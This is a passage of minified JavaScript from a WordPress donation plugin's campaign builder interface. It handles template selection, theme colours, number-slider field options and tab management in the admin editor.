previewBox.data("template-preview-url")!=="undefined"?previewBox.data("template-preview-url"):"",templateCode=typeof previewBox.data("template-code")!=="undefined"?previewBox.data("template-code"):"";$("#charitable-builder-modal-template-preview").find("h4").html(templateLabel);$("#charitable-builder-modal-template-preview").find(".charitable-templates-preview-description").html("<p>"+templateDescription+"</p>");$("#charitable-builder-modal-template-preview").find("img").attr("src",templatePreviewURL);$("#charitable-builder-modal-template-preview").find("img").attr("alt",templateLabel);$("#charitable-builder-modal-template-preview").find("a.button-link").attr("data-template-id",templateCode);$(".charitable-builder-modal.charitable-builder-modal-template-preview").addClass("active")});$builderForm.on("click","#charitable-templates-preview-form .charitable-templates-close-icon",function(e){e.preventDefault();$(".charitable-template-list-container").removeClass("disabled");$("#charitable-builder-underlay").remove();$(".charitable-builder-modal.charitable-builder-modal-template-preview").removeClass("active")});elements.$templatePreview.on("click","nav.charitable-template-tabs a",function(e){e.preventDefault();var $this=$(this),templateTabFilter=$this.data("template-tab-filter")?$this.data("template-tab-filter"):false,$templateList=elements.$templatePreview.find(".charitable-template-list ");elements.$templatePreview.find("nav.charitable-template-tabs a").removeClass("active");$this.addClass("active");$templateList.find(".charitable-template").removeClass("hidden");if(templateTabFilter){$templateList.find('.charitable-template[data-template-type!="'+templateTabFilter+'"]').addClass("hidden")}});elements.$templatePreview.on("click","a.charitable-trigger-blank",function(e){e.preventDefault();$("#charitable-template-list .charitable-template-upgrade-banner").remove();elements.$templatePreview.find("#charitable-setup-template-search").val("simple").trigger("keyup").addClass("highlighted").addClass("with-x");elements.$templatePreview.find(".charitable-setup-templates-categories").find("li[data-category=all").click();app.showCheckTemplateList();app.showUpgradeBanner()});elements.$templatePreview.on("click","i.fa-close",function(e){elements.$templatePreview.find("#charitable-setup-template-search").val("").trigger("keyup").removeClass("highlighted")});elements.$templatePreview.on("click",".button.create-campaign",function(e){e.preventDefault();if(app.hasTemplate()){$.confirm({title:charitable_builder.heads_up,content:"<p>"+charitable_builder.error_already_started_campaign+"</p>",icon:"fa fa-exclamation-circle",type:"orange",buttons:{confirm:{text:charitable_builder.ok,btnClass:"btn-confirm",keys:["enter"],action:function(){s.templateID=$(this).closest(".charitable-template").data("template-code");s.templateLabel=$(this).closest(".charitable-template").data("template-label");s.primaryThemeColorBase=s.primaryThemeColor=$(this).closest(".charitable-template").data("template-primary");s.secondaryThemeColorBase=s.secondaryThemeColor=$(this).closest(".charitable-template").data("template-secondary");s.tertiaryThemeColorBase=s.tertiaryThemeColor=$(this).closest(".charitable-template").data("template-tertiary");s.buttonThemeColorBase=s.buttonThemeColor=$(this).closest(".charitable-template").data("template-button");elements.$primaryThemeColorBase.val(s.primaryThemeColorBase);elements.$secondaryThemeColorBase.val(s.secondaryThemeColorBase);elements.$tertiaryThemeColorBase.val(s.tertiaryThemeColorBase);elements.$buttonThemeColorBase.val(s.buttonThemeColorBase);$('input[name="layout__advanced__theme_color_primary"]').val(s.primaryThemeColor);$('input[name="layout__advanced__theme_color_secondary"]').val(s.secondaryThemeColor);$('input[name="layout__advanced__theme_color_tertiary"]').val(s.tertiaryThemeColor);$('input[name="layout__advanced__theme_color_button"]').val(s.buttonThemeColor);document.querySelector('input[name="layout__advanced__theme_color_primary"]').dispatchEvent(new Event("input",{bubbles:true}));document.querySelector('input[name="layout__advanced__theme_color_secondary"]').dispatchEvent(new Event("input",{bubbles:true}));document.querySelector('input[name="layout__advanced__theme_color_tertiary"]').dispatchEvent(new Event("input",{bubbles:true}));document.querySelector('input[name="layout__advanced__theme_color_button"]').dispatchEvent(new Event("input",{bubbles:true}));app.restartForm(s.templateID,null,s.templateLabel);app.restartTemplateScreen(s.templateID)}},cancel:{text:charitable_builder.cancel,keys:["esc"]}}})}else{s.templateID=$(this).closest(".charitable-template").data("template-code");s.templateLabel=$(this).closest(".charitable-template").data("template-label");var $titleInput=$("input#charitable_settings_title");var currentTitle=$titleInput.val()||s.campaignTitle||"";if((!currentTitle||$.trim(currentTitle)==="")&&s.templateLabel){app.updateFormUI("title",s.templateLabel)}s.primaryThemeColorBase=s.primaryThemeColor=$(this).closest(".charitable-template").data("template-primary");s.secondaryThemeColorBase=s.secondaryThemeColor=$(this).closest(".charitable-template").data("template-secondary");s.tertiaryThemeColorBase=s.tertiaryThemeColor=$(this).closest(".charitable-template").data("template-tertiary");s.buttonThemeColorBase=s.buttonThemeColor=$(this).closest(".charitable-template").data("template-button");elements.$primaryThemeColorBase.val(s.primaryThemeColorBase);elements.$secondaryThemeColorBase.val(s.secondaryThemeColorBase);elements.$tertiaryThemeColorBase.val(s.tertiaryThemeColorBase);elements.$buttonThemeColorBase.val(s.buttonThemeColorBase);$('input[name="layout__advanced__theme_color_primary"]').val(s.primaryThemeColor);$('input[name="layout__advanced__theme_color_secondary"]').val(s.secondaryThemeColor);$('input[name="layout__advanced__theme_color_tertiary"]').val(s.tertiaryThemeColor);$('input[name="layout__advanced__theme_color_button"]').val(s.buttonThemeColor);document.querySelector('input[name="layout__advanced__theme_color_primary"]').dispatchEvent(new Event("input",{bubbles:true}));document.querySelector('input[name="layout__advanced__theme_color_secondary"]').dispatchEvent(new Event("input",{bubbles:true}));document.querySelector('input[name="layout__advanced__theme_color_tertiary"]').dispatchEvent(new Event("input",{bubbles:true}));document.querySelector('input[name="layout__advanced__theme_color_button"]').dispatchEvent(new Event("input",{bubbles:true}));app.updateTemplateID(s.templateID,s.templateLabel);app.unforceTemplateSelect();app.enableFormActions();app.restartForm(s.templateID,"design",s.templateLabel);app.restartTemplateScreen(s.templateID);if(!s.didInitHTMLEditorFields){$(".campaign-builder-htmleditor").each(function(){app.initHTMLEditorFields($(this))});$(".campaign-builder-htmleditor-min").each(function(){app.initHTMLEditorFields($(this),true)});s.didInitHTMLEditorFields=true}CharitableUtils.triggerEvent($builder,"charitableCampaignFormScreen",[s.templateID])}});$builder.on("click",".button-preview-create-campaign",function(e){e.preventDefault();var $theButton=$(this),theTemplateID=$theButton.data("template-id");if(theTemplateID!==""){$(".charitable-template-list-container").removeClass("disabled");$("#charitable-builder-underlay").remove();$(".charitable-builder-modal.charitable-builder-modal-template-preview").removeClass("active");if($('#charitable-template-list .charitable-template[data-template-code="'+theTemplateID+'"] .button.update-campaign').length>0){elements.$templatePreview.find(".charitable-template-list-container-item.charitable-template-"+theTemplateID+" .button.update-campaign").click()}else{elements.$templatePreview.find(".charitable-template-list-container-item.charitable-template-"+theTemplateID+" .button.create-campaign").click()}}});$builder.on("click",".button-preview-update-campaign",function(e){e.preventDefault();var $theButton=$(this),theTemplateID=$theButton.data("template-id");if(theTemplateID!==""){$(".charitable-template-list-container").removeClass("disabled");$("#charitable-builder-underlay").remove();$(".charitable-builder-modal.charitable-builder-modal-template-preview").removeClass("active");if($('#charitable-template-list .charitable-template[data-template-code="'+theTemplateID+'"] .button.update-campaign').length>0){elements.$templatePreview.find(".charitable-template-list-container-item.charitable-template-"+theTemplateID+" .button.update-campaign").click()}else{elements.$templatePreview.find(".charitable-template-list-container-item.charitable-template-"+theTemplateID+" .button.create-campaign").click()}}});elements.$templatePreview.on("click",".button.update-campaign",function(e){e.preventDefault();var theButton=$(this);if(app.hasTemplate()){$.confirm({title:charitable_builder.heads_up,content:"<p>"+charitable_builder.error_already_started_campaign+"</p>",icon:"fa fa-exclamation-circle",type:"orange",buttons:{confirm:{text:charitable_builder.ok,btnClass:"btn-confirm",keys:["enter"],action:function(){s.templateID=theButton.closest(".charitable-template").data("template-code");s.templateLabel=theButton.closest(".charitable-template").data("template-label");app.updateTemplateID(s.templateID,s.templateLabel);s.primaryThemeColorBase=s.primaryThemeColor=theButton.closest(".charitable-template").data("template-primary");s.secondaryThemeColorBase=s.secondaryThemeColor=theButton.closest(".charitable-template").data("template-secondary");s.tertiaryThemeColorBase=s.tertiaryThemeColor=theButton.closest(".charitable-template").data("template-tertiary");s.buttonThemeColorBase=s.buttonThemeColor=theButton.closest(".charitable-template").data("template-button");elements.$primaryThemeColorBase.val(s.primaryThemeColorBase);elements.$secondaryThemeColorBase.val(s.secondaryThemeColorBase);elements.$tertiaryThemeColorBase.val(s.tertiaryThemeColorBase);elements.$buttonThemeColorBase.val(s.buttonThemeColorBase);$('input[name="layout__advanced__theme_color_primary"]').val(s.primaryThemeColor);$('input[name="layout__advanced__theme_color_secondary"]').val(s.secondaryThemeColor);$('input[name="layout__advanced__theme_color_tertiary"]').val(s.tertiaryThemeColor);$('input[name="layout__advanced__theme_color_button"]').val(s.buttonThemeColor);document.querySelector('input[name="layout__advanced__theme_color_primary"]').dispatchEvent(new Event("input",{bubbles:true}));document.querySelector('input[name="layout__advanced__theme_color_secondary"]').dispatchEvent(new Event("input",{bubbles:true}));document.querySelector('input[name="layout__advanced__theme_color_tertiary"]').dispatchEvent(new Event("input",{bubbles:true}));document.querySelector('input[name="layout__advanced__theme_color_button"]').dispatchEvent(new Event("input",{bubbles:true}));$("#charitable-template-list .charitable-template").removeClass("active");$("#charitable-template-list .charitable-banner-container").each(function(){$(this).addClass("charitable-hidden");$(this).parent().find(".template-buttons").removeClass("charitable-hidden")});theButton.closest(".charitable-template").addClass("active");theButton.closest(".charitable-template").find(".template-buttons").addClass("charitable-hidden");theButton.closest(".charitable-template").find(".charitable-banner-container").removeClass("charitable-hidden");$(".charitable-setup-desc.secondary-text strong.template-name").html(s.templateLabel);wpchar.debug("chose this path");app.restartForm(s.templateID,"design",s.templateLabel);app.restartTemplateScreen(s.templateID)}},cancel:{text:charitable_builder.cancel,keys:["esc"]}}})}});app.showUpgradeBanner()},restartTemplateScreen:function(templateID=0){if(templateID===""||templateID===0){templateID=s.templateID}if(templateID===""||templateID===0){return}const templateList=$(".charitable-template-list-container");templateList.find(".template-buttons").remove(".preview-campaign");templateList.find(".button.create-campaign").removeClass("create-campaign").addClass("update-campaign").html(charitable_builder.update_campaign);templateList.find(".charitable-template").removeClass("active");templateList.find(".charitable-template .charitable-banner-container").addClass("charitable-hidden");templateList.find('.charitable-template[data-template-code="'+templateID+'"]').addClass("active");templateList.find('.charitable-template[data-template-code="'+templateID+'"] .charitable-banner-container').removeClass("charitable-hidden")},restartForm:function(templateID=0,panel="design",templateLabel=false){app.updateTemplateID(templateID,templateLabel);app.showLoadingOverlay();var data={action:"charitable_get_campaign_builder_template_data",id:templateID,title:s.campaignTitle,nonce:charitable_builder.nonce};$.post(charitable_builder.ajax_url,data,function(response){if(response.success){$("#charitable-field-options .charitable-layout-options-group-inner").find(".charitable-panel-field").remove();$("#charitable-field-options .charitable-select-field-notice").show();s.quilled=[];elements.$nextFieldId.val(0);app.hideLoadingOverlay();var previewLayout=typeof response.data.preview!=="undefined"?response.data.preview:false,previewFieldOptions=typeof response.data.field_options!=="undefined"?response.data.field_options:false,previewTabOptions=typeof response.data.tab_options!=="undefined"?response.data.tab_options:false,previewAdvancedOptions=typeof response.data.advanced!=="undefined"?response.data.advanced:false;if(previewLayout){app.addLayoutToPreview(previewLayout)}else{wpchar.debug("previewLayout is false or not defined")}if(previewFieldOptions){app.addFieldOptions(previewFieldOptions)}else{wpchar.debug("previewFieldOptions is false or not defined")}if(previewTabOptions){app.addTabOptions(previewTabOptions)}else{wpchar.debug("previewTabOptions is false or not defined")}if(previewAdvancedOptions){app.addAdvancedOptions(previewAdvancedOptions)}else{wpchar.debug("previewAdvancedOptions is false or not defined")}if(Charitable.Admin.Builder.DragFields&&typeof Charitable.Admin.Builder.DragFields.ready==="function"){Charitable.Admin.Builder.DragFields.ready()}app.updateFormHiddenFields();app.updateFormHiddenFieldID();$(".campaign-builder-htmleditor").each(function(){app.initHTMLEditorFields($(this))});$(".campaign-builder-htmleditor-min").each(function(){app.initHTMLEditorFields($(this),true)});s.didInitHTMLEditorFields=true;elements.$preview.find(".charitable-field-section").each(function(){app.checkFieldTargetState($(this))});app.checkAllRecommendedFields();app.updateGoalRelatedItems();app.updateEndDateRelatedItems();if(panel){app.panelSwitch("design")}$(".charitable-campaign-suggested-donations-mini").each(function(){app.initSuggestedDonationsMini($(this));app.updateSuggestdDonationsMiniRowsFromSettings($(this))});app.checkFieldAllow();app.checkFieldMax();if(typeof response.data.settings.general.description!=="undefined"&&response.data.settings.general.description!=""){s.campaignDescription=response.data.settings.general.description;elements.$settingsPanel.find('input[name="settings[general][description]"').val(s.campaignDescription)}app.setCampaignNotSaved();$builder.trigger("charitableEditorScreenStart")}else{app.formSaveError(response.data)}}).fail(function(xhr,textStatus,e){app.formSaveError()}).always(function(){})},checkNoFieldsPreview(forceModeOff=false){if(forceModeOff===false&&elements.$preview.find('.charitable-field-section[data-section-type="fields"] .charitable-field').length===0&&typeof charitable_builder.no_field_preview!=="undefined"){$("#charitable-design-wrap").addClass("no-fields-mode");if($builder.find(".charitable-no-fields-area").hasClass("charitable-hidden")){$builder.find(".charitable-no-fields-area").removeClass("charitable-hidden")}}else if(forceModeOff!==false){if(!$builder.find(".charitable-no-fields-area").hasClass("charitable-hidden")){$builder.find(".charitable-no-fields-area").addClass("charitable-hidden")}$("#charitable-design-wrap").removeClass("no-fields-mode")}else{if(!$builder.find(".charitable-no-fields-area").hasClass("charitable-hidden")){$builder.find(".charitable-no-fields-area").addClass("charitable-hidden")}$("#charitable-design-wrap").removeClass("no-fields-mode")}},checkFieldTargetState($section=false){if(false===$section){return}if($section.data("section-type")!=="fields"&&$section.data("section-type")!=="tabs"){return}if($section.data("section-type")==="fields"){if($section.find(".charitable-field").length===0){$section.removeClass("charitable-field-target-inactive").addClass("charitable-field-target")}else{$section.removeClass("charitable-field-target").addClass("charitable-field-target-inactive")}}else if($section.data("section-type")==="tabs"){if($section.find(".tab_content_item.active .charitable-field").length===0){$section.find(".tab_content_item.active").removeClass("empty-tab").addClass("empty-tab")}else{$section.find(".tab_content_item.active").removeClass("empty-tab")}}},addAdvancedOptions(previewAdvancedOptions){var advancedFieldsInTab=$(".charitable-layout-options-tab-advanced").find("input, select");advancedFieldsInTab.each(function(){var $thisInput=$(this),advancedFieldId=$thisInput.data("advanced-field-id");if(typeof previewAdvancedOptions[advancedFieldId]!=="undefined"&&advancedFieldId!=""){if($thisInput.is("select")){$thisInput.val(previewAdvancedOptions[advancedFieldId]).change()}else{$thisInput.val(previewAdvancedOptions[advancedFieldId])}}})},addFieldOptions(previewFieldOptions){elements.$fieldOptions.find(".charitable-layout-options-group-inner .charitable-select-field-notice").after(previewFieldOptions)},addTabOptions(previewTabOptions){elements.$fieldOptions.find(".charitable-layout-options-tab.charitable-layout-options-tab-tabs .charitable-layout-options-group-inner").html(previewTabOptions)},addLayoutToPreview(previewLayout){elements.$preview.find(".charitable-design-wrap").replaceWith(previewLayout)},alignFieldEvents:function($builder){$builder.on("click",".charitable-panel-field-align a",function(e){e.preventDefault();var clickedLink=$(this),panelField=clickedLink.closest(".charitable-panel-field"),alignValue=""!==clickedLink.data("align-value")?clickedLink.data("align-value"):"center";panelField.find("span").removeClass("active");panelField.find('input[type="hidden"').val(alignValue);clickedLink.parent().addClass("active");app.setCampaignNotSaved()})},numberSliderEvents:function($builder){elements.$fieldOptions.on("input change",'input[type="range"]',function(e){var minimum_value=$(this).attr("min-actual")?parseInt($(this).attr("min-actual")):0,scrolled_value=$(this).val();if(minimum_value>0){if(scrolled_value<=minimum_value){$(this).val(minimum_value);$(this).next().addClass("min-reach")}else{$(this).next().removeClass("min-reach")}}app.setCampaignNotSaved()});$builder.on("change input",".charitable-panel-field-number-slider input[type=range]",function(event){var hintEl=$(event.target).siblings(".charitable-number-slider-hint");hintEl.attr("data-hint",event.target.value);hintEl.html(event.target.value+hintEl.data("symbol")+"<small>minimum</small>")});$builder.on("input",".charitable-field-option-row-min_max .charitable-input-row .charitable-number-slider-min",app.fieldNumberSliderUpdateMin);$builder.on("input",".charitable-field-option-row-min_max .charitable-input-row .charitable-number-slider-max",app.fieldNumberSliderUpdateMax);$builder.on("input",".charitable-number-slider-default-value",_.debounce(app.changeNumberSliderDefaultValue,500));$builder.on("input",".charitable-number-slider-step",_.debounce(app.changeNumberSliderStep,500));$builder.on("focusout",".charitable-number-slider-step",app.checkNumberSliderStep);$builder.on("input",".charitable-number-slider-value-display",_.debounce(app.changeNumberSliderValueDisplay,500));$builder.on("input",".charitable-number-slider-min",_.debounce(app.changeNumberSliderMin,500));$builder.on("input",".charitable-number-slider-max",_.debounce(app.changeNumberSliderMax,500))},changeNumberSliderMin:function(event){var fieldID=$(event.target).parents(".charitable-field-option-row").data("fieldId");var value=parseFloat(event.target.value);if(isNaN(value)){return}app.updateNumberSliderDefaultValueAttr(fieldID,event.target.value,"min")},changeNumberSliderMax:function(event){var fieldID=$(event.target).parents(".charitable-field-option-row").data("fieldId");var value=parseFloat(event.target.value);if(isNaN(value)){return}app.updateNumberSliderDefaultValueAttr(fieldID,event.target.value,"max").updateNumberSliderStepValueMaxAttr(fieldID,event.target.value)},changeNumberSliderValueDisplay:function(event){var str=event.target.value;var fieldID=$(event.target).parents(".charitable-field-option-row").data("fieldId");var defaultValue=document.getElementById("charitable-field-option-"+fieldID+"-default_value");if(defaultValue){app.updateNumberSliderHintStr(fieldID,str).updateNumberSliderHint(fieldID,defaultValue.value)}},changeNumberSliderStep:function(event){var value=parseFloat(event.target.value);if(isNaN(value)){return}var max=parseFloat(event.target.max),min=parseFloat(event.target.min),fieldID=$(event.target).parents(".charitable-field-option-row").data("fieldId");if(value<=0){return}if(value>max){event.target.value=max;return}if(value<min){event.target.value=min;return}app.updateNumberSliderAttr(fieldID,value,"step").updateNumberSliderDefaultValueAttr(fieldID,value,"step")},checkNumberSliderStep:function(event){var value=parseFloat(event.target.value),$input=$(this);if(!isNaN(value)&&value>0){return}$.confirm({title:charitable_builder.heads_up,content:charitable_builder.error_number_slider_increment,icon:"fa fa-exclamation-circle",type:"orange",buttons:{confirm:{text:charitable_builder.ok,btnClass:"btn-confirm",keys:["enter"],action:function(){$input.val("").trigger("focus")}}}})},changeNumberSliderDefaultValue:function(event){var value=parseFloat(event.target.value);if(!isNaN(value)){var max=parseFloat(event.target.max),min=parseFloat(event.target.min),fieldID=$(event.target).parents(".charitable-field-option-row-default_value").data("fieldId");if(value>max){event.target.value=max;return}if(value<min){event.target.value=min;return}app.updateNumberSlider(fieldID,value).updateNumberSliderHint(fieldID,value)}},updateNumberSliderDefaultValueAttr:function(fieldID,newValue,attr){var input=document.getElementById("charitable-field-option-"+fieldID+"-default_value");if(input){var value=parseFloat(input.value);input.setAttribute(attr,newValue);newValue=parseFloat(newValue);if("max"===attr&&value>newValue){input.value=newValue;$(input).trigger("input")}if("min"===attr&&value<newValue){input.value=newValue;$(input).trigger("input")}}return this},updateNumberSlider:function(fieldID,value){var numberSlider=document.getElementById("charitable-number-slider-"+fieldID);if(numberSlider){numberSlider.value=value}return this},updateNumberSliderAttr:function(fieldID,value,attr){var numberSlider=document.getElementById("charitable-number-slider-"+fieldID);if(numberSlider){numberSlider.setAttribute(attr,value)}return this},updateNumberSliderHintStr:function(fieldID,str){var hint=document.getElementById("charitable-number-slider-hint-"+fieldID);if(hint){hint.dataset.hint=str}return this},updateNumberSliderHint:function(fieldID,value){var hint=document.getElementById("charitable-number-slider-hint-"+fieldID);if(hint){hint.innerHTML=wpchar.sanitizeHTML(hint.dataset.hint).replace("{value}","<b>"+value+"</b>")}return this},fieldNumberSliderUpdateMin:function(event){var $options=$(event.target).parents(".charitable-field-option-row-min_max"),max=parseFloat($options.find(".charitable-number-slider-max").val()),current=parseFloat(event.target.value);if(isNaN(current)){return}if(max<=current){event.preventDefault();this.value=max;return}var fieldId=$options.data("field-id"),numberSlider=$builder.find("#charitable-field-"+fieldId+' input[type="range"]');numberSlider.attr("min",current)},fieldNumberSliderUpdateMax:function(event){var $options=$(event.target).parents(".charitable-field-option-row-min_max"),min=parseFloat($options.find(".charitable-number-slider-min").val()),current=parseFloat(event.target.value);if(isNaN(current)){return}if(min>=current){event.preventDefault();this.value=min;return}var fieldId=$options.data("field-id");var numberSlider=$builder.find("#charitable-field-"+fieldId+' input[type="range"]');numberSlider.attr("max",current)},updateNumberSliderStepValueMaxAttr:function(fieldID,newValue){var input=document.getElementById("charitable-field-option-"+fieldID+"-step");if(input){var value=parseFloat(input.value);input.setAttribute("max",newValue);newValue=parseFloat(newValue);if(value>newValue){input.value=newValue;$(input).trigger("input")}}return this},isVisitedViaBackButton:function(){if(!performance){return false}var isVisitedViaBackButton=false;performance.getEntriesByType("navigation").forEach(function(nav){if(nav.type==="back_forward"){isVisitedViaBackButton=true}});return isVisitedViaBackButton},hideLoadingOverlay:function(){var $overlay=$("#charitable-builder-overlay");$overlay.addClass("fade-out");setTimeout(function(){$overlay.hide()},200)},initCodeEditor:function(){if($(".campaign-builder-codeeditor").length>0){var field_id="";$(".campaign-builder-codeeditor").each(function(){if($(this).attr("id").indexOf("charitable-panel-field-settings-field_html_html_")!==-1){field_id=$(this).attr("id").replace("charitable-panel-field-settings-field_html_html_","");wpchar.debug("field_id: "+field_id);$builder.trigger("charitableFieldAddHTML",[field_id,"html"])}})}},showLoadingOverlay:function(){var $overlay=$("#charitable-builder-overlay");$overlay.removeClass("fade-out");$overlay.show()},updateFormUI:function(element=false,value=false){var title=false;if(element==="title"){title=value}else{title=$("input.charitable-form-name").val()}title=title.replace(/[^\w\s\u00C0-\u024F\u1E00-\u1EFF\u2C60-\u2C7F\uA720-\uA7FF _.,!"()'\/$[\]:@#%-]/gi,"");elements.$campaignNameTopBanner=$("input.charitable-form-name");elements.$campaignNamePreview=$(".charitable-preview .charitable-form-name");elements.$campaignNameFieldTitleSettings=$("input.charitable-campaign-builder-title");elements.$campaignNameTopBanner.val(title);elements.$campaignNamePreview.html(title);elements.$campaignNameFieldTitleSettings.val(title);elements.$preview.find(".charitable-field-campaign-title .charitable-campaign-builder-placeholder-preview-text").html('<h1 class="charitable-campaign-title">'+title+"</h1>");if(element==="title"){s.campaignTitle=title;app.resizeTopCampaignTitleInputBox()}},bindUIActions:function(){app.bindAutoResizeCampaignTitle();app.bindUIEditCampaignTitle();app.bindCampaignTitleBlockTextField();app.bindUIActionsPanels();app.bindUIActionsFields();app.bindUIActionsPreview();app.bindUIActionsSaveExit();app.bindUIActionsGeneral();app.bindUITabs();$builder.on("change","input, textarea, select, checkbox, radio",function(e){app.setCampaignNotSaved()});app.bindUILayoutOptionsAdvanced();app.bindUISettingsRevealGroups();app.bindUIMoneyTextFields();app.checkFieldConditionals();$builder.on("change","select#charitable-panel-field-settings-campaign_campaign_creator_id",function(e){app.updateCampaignCreatorInfo()});$builder.on("click","div#charitable-marketing-form a.button-link, div#charitable-payment-form a.button-link, div#charitable-feedback-form a.button-link",function(e){e.preventDefault();app.initFeedbackForms($(this))});$builder.on("click","a.send-feedback",function(e){e.preventDefault();$(".charitable-panel-content-wrap").animate({scrollTop:0},500);$(".charitable-template-list-container").addClass("disabled");$(".charitable-feedback-form-container").after('<div id="charitable-builder-underlay" class="charitable-builder-underlay"></div>');$(".charitable-feedback-form-container").css("opacity","100").css("visibility","visible");$(".charitable-feedback-form-container").find(".charitable-feedback-form-interior").removeClass("charitable-hidden");$(".charitable-feedback-form-container").find("textarea").val("");$(".charitable-feedback-form-interior-confirmation").addClass("charitable-hidden")});$builder.on("keyup","table.charitable-campaign-suggested-donations-mini input",function(e){var field_id=parseInt($(this).closest(".charitable-panel-field").data("field-id"));if(field_id>0){var theIndex=$(this).index('.charitable-panel-field[data-field-id="'+field_id+'"] table.charitable-campaign-suggested-donations-mini input[type="text"].campaign_suggested_donations');app.updateSuggestDonationsSettings($(this),theIndex)}});$builder.on("change keyup blur input",'table.charitable-campaign-suggested-donations input[type="text"].campaign_suggested_donations',function(e){var theIndex=$(this).index('.charitable-campaign-suggested-donations input[type="text"].campaign_suggested_donations'),field_name=$(this).attr("name");if(field_name.indexOf("recurring")<1){app.updateSuggestDonationsSettings($(this),theIndex)}});$builder.on("change",'.charitable-campaign-builder-allow-custom-donations input[type="checkbox"]',function(e){$('.charitable-campaign-builder-allow-custom-donations input[type="checkbox"]').prop("checked",$(this).is(":checked"));app.updateAllowCustomDonationSettings($(this).is(":checked"))});$builder.on("change",'input[type="radio"].campaign_suggested_donations',function(e){var field_id=parseInt($(this).closest(".charitable-panel-field").data("field-id")),field_name=$(this).attr("name");if(field_name.indexOf("recurring")<1){app.updateSuggestedDonationAmountDefault($(this).val())}});app.bindUIInputRange();$builder.on("click",".education-buttons button.update-to-pro-link",function(e){if($(this).prev("a").length>0){window.open($(this).prev("a").attr("href"),"_blank")}else{window.open("https://wpcharitable.com/lite-vs-pro/","_blank")}})},bindUILayoutOptionsAdvanced:function(){$builder.on("change","select#charitable-design-layout-options-advanced-tab-style",function(e){e.preventDefault();var $this=$(this),$preview_nav=$("nav.charitable-campaign-preview-nav");$($this).find("option").each(function(){$preview_nav.removeClass("tab-style-"+this.value)});$preview_nav.addClass("tab-style-"+$this.find(":selected").val())});$builder.on("change","select#charitable-design-layout-options-advanced-tab-size",function(e){e.preventDefault();var $this=$(this),$preview_nav=$("nav.charitable-campaign-preview-nav");$($this).find("option").each(function(){$preview_nav.removeClass("tab-size-"+this.value)});$preview_nav.addClass("tab-size-"+$this.find(":selected").val())})},tabGroupsAdd:function(el,e){e.preventDefault();var count=elements.$sortableTabContent.find(".tab_content_item").length;if(count>=s.maxNumberOfTabs){app.formGenericNotice("You cannot have more than "+s.maxNumberOfTabs+" tabs in your campaign template.");return}var $this=$(el),$groupLast=$this.parent().find(".charitable-group.charitable-layout-options-tab-group.hidden").last(),$newGroup=$groupLast.clone(),tab_content=elements.$preview.find(".tab-content"),default_tab_content_type="html";var dataList=$(".charitable-group.charitable-layout-options-tab-group").map(function(){return parseInt($(this).attr("data-group_id"))}).get();var groupID=Math.max.apply(null,dataList)+1;if(typeof groupID==="undefined"){app.formGenericError("Error ecountered attempting to add another tab.");return}$newGroup.attr("data-group_id",groupID);$newGroup.attr("data-tab-id",groupID);$newGroup.find(".charitable-group-row").attr("data-tab-id",groupID);$newGroup.find("input, select, textarea, label").each(function(index){var $this=$(this),forAttr=$this.attr("for"),nameAttr=$this.attr("name"),idAttr=$this.attr("id");if(typeof idAttr!=="undefined"&&idAttr!==false){$this.attr("id",$this.attr("id").replace("_xxx_","_"+groupID+"_"))}if(typeof nameAttr!=="undefined"&&nameAttr!==false){$this.attr("name",$this.attr("name").replace("_xxx_","_"+groupID+"_"))}if(typeof forAttr!=="undefined"&&forAttr!==false){$this.attr("for",$this.attr("for").replace("_xxx_","_"+groupID+"_"))}});$newGroup.find('input[name="tabs__'+groupID+'__title"]').val("New Tab");$newGroup.find('textarea[name="tabs__'+groupID+'__desc"]').html("Content");$(".charitable-layout-options-tab-group").removeClass("active");$newGroup.addClass("active");$newGroup.removeClass("charitable-closed").addClass("charitable-open").removeClass("hidden").find(".charitable-angle-right").removeClass("charitable-angle-right").addClass("charitable-angle-down");$this.before($newGroup);app.bindUIActionPanelsTabs();app.checkHideTabNavigation();$("nav.charitable-campaign-preview-nav ul li").removeClass("active");tab_content.find("ul li").removeClass("active");$("nav.charitable-campaign-preview-nav ul").append('<li data-tab-type="html" data-tab-id="'+groupID+'" class="tab_title active" id="tab_'+groupID+'_title"><a href="#">'+charitable_builder.new_tab+"</a></li>");tab_content.find("ul").append('<li id="tab_'+groupID+'_content" class="tab_content_item empty-tab active tab_type_'+default_tab_content_type+'" data-tab-type="'+default_tab_content_type+'" data-tab-id="'+groupID+'"><div class="charitable-tab-wrap ui-sortable"><p class="empty-tab-notice">'+charitable_builder.empty_tab+"</p></div></li>");tab_content.removeClass("empty-tabs");tab_content.find(".no-tab-notice").remove();$builder.trigger("charitableAddNewTab",groupID)},bindUITabs:function(){$builder.on("click","button.charitable-tab-groups-add",function(e){app.tabGroupsAdd(this,e)});$builder.find(".charitable-layout-options-tab-tabs .charitable-layout-options-group-inner").sortable({handle:".charitable-draggable",update:function(event,ui){var dataList=$(".charitable-group.charitable-layout-options-tab-group").map(function(){if(!$(this).hasClass("hidden")){return parseInt($(this).attr("data-group_id"))}}).get();var activeList=$(".charitable-group.charitable-layout-options-tab-group").map(function(){if($(this).hasClass("active")){return parseInt($(this).attr("data-group_id"))}}).get();$("nav.charitable-campaign-preview-nav ul").empty();dataList.forEach(function(groupID){var $tab=$("#charitable-field-options").find('[data-group_id="'+groupID+'"]'),textFieldnName=groupID,isActive=activeList.indexOf(groupID)>=0?"active":"",tabType=groupID!==0&&""!==$tab.find('input[name="tabs__'+textFieldnName+'__type"').val()?$tab.find('input[name="tabs__'+textFieldnName+'__type"').val():"html",tabTitle=$tab.find('input[name="tabs__'+textFieldnName+'__title"').val();$("nav.charitable-campaign-preview-nav ul").append('<li data-tab-type="'+tabType+'" data-tab-id="'+groupID+'" class="tab_title '+isActive+'" id="tab_'+groupID+'_title"><a href="#">'+tabTitle+"</a></li>")})}});$builder.on("click","input, select, textarea, .ql-editor",".charitable-layout-options-tab-tabs .charitable-layout-options-group-inner .charitable-layout-options-tab-group",function(e){if(!$(this).closest(".charitable-layout-options-tab-group").hasClass("active")){var group_id=$(this).closest(".charitable-layout-options-tab-group").data("group_id");$('.charitable-preview nav.charitable-campaign-preview-nav li[data-tab-id="'+group_id+'"] a').click()}});$builder.on("click","a.charitable-configure-tab-settings",function(e){app.fieldTabToggle("layout-options");$(".charitable-layout-options-tab").removeClass("active");$(".charitable-layout-options-tab.charitable-layout-options-tab-tabs").addClass("active")});$builder.on("click","nav li.tab_title a",function(e){e.preventDefault();var $preview=$(".charitable-campaign-preview"),tab_id=$(this).parent().data("tab-id"),tab_type=$preview.find("li#tab_"+tab_id+"_title").attr("data-tab-type");$(".tab-content ul li").removeClass("active");$("nav li.tab_title").removeClass("active");$(this).parent().addClass("active");$(".tab-content ul 